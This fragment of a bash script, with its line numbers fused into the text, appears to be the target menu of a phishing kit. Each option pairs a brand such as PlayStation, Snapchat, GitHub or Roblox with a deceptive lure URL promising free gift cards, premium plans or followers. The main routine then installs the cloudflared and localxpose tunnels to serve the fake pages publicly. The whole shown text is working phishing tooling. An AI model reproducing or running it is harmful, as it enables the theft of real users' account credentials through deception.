09)788website="playstation"789mask='https://playstation-500-usd-gift-card-free'790tunnel_menu;;79110)792website="tiktok"793mask='https://tiktok-free-liker'794tunnel_menu;;79511)796website="twitch"797mask='https://unlimited-twitch-tv-user-for-free'798tunnel_menu;;79912)800website="pinterest"801mask='https://get-a-premium-plan-for-pinterest-free'802tunnel_menu;;80313)804website="snapchat"805mask='https://view-locked-snapchat-accounts-secretly'806tunnel_menu;;80714)808website="linkedin"809mask='https://get-a-premium-plan-for-linkedin-free'810tunnel_menu;;81115)812website="ebay"813mask='https://get-500-usd-free-to-your-acount'814tunnel_menu;;81516)816website="quora"817mask='https://quora-premium-for-free'818tunnel_menu;;81917)820website="protonmail"821mask='https://protonmail-pro-basics-for-free'822tunnel_menu;;82318)824website="spotify"825mask='https://convert-your-account-to-spotify-premium'826tunnel_menu;;82719)828website="reddit"829mask='https://reddit-official-verified-member-badge'830tunnel_menu;;83120)832website="adobe"833mask='https://get-adobe-lifetime-pro-membership-free'834tunnel_menu;;83521)836website="deviantart"837mask='https://get-500-usd-free-to-your-acount'838tunnel_menu;;83922)840website="badoo"841mask='https://get-500-usd-free-to-your-acount'842tunnel_menu;;84323)844website="origin"845mask='https://get-500-usd-free-to-your-acount'846tunnel_menu;;84724)848website="dropbox"849mask='https://get-1TB-cloud-storage-free'850tunnel_menu;;85125)852website="yahoo"853mask='https://grab-mail-from-anyother-yahoo-account-free'854tunnel_menu;;85526)856website="wordpress"857mask='https://unlimited-wordpress-traffic-free'858tunnel_menu;;85927)860website="yandex"861mask='https://grab-mail-from-anyother-yandex-account-free'862tunnel_menu;;86328)864website="stackoverflow"865mask='https://get-stackoverflow-lifetime-pro-membership-free'866tunnel_menu;;86729)868site_vk;;86930)870website="xbox"871mask='https://get-500-usd-free-to-your-acount'872tunnel_menu;;87331)874website="mediafire"875mask='https://get-1TB-on-mediafire-free'876tunnel_menu;;87732)878website="gitlab"879mask='https://get-1k-followers-on-gitlab-free'880tunnel_menu;;88133)882website="github"883mask='https://get-1k-followers-on-github-free'884tunnel_menu;;88534)886website="discord"887mask='https://get-discord-nitro-free'888tunnel_menu;;88935)890website="roblox"891mask='https://get-free-robux'892tunnel_menu;;89399)894about;;8950 | 00 )896msg_exit;;897*)898echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."899{ sleep 1; main_menu; };;900901esac902}903904## Main905kill_pid906dependencies907check_status908install_cloudflared909install_localxpose910main_menu911912913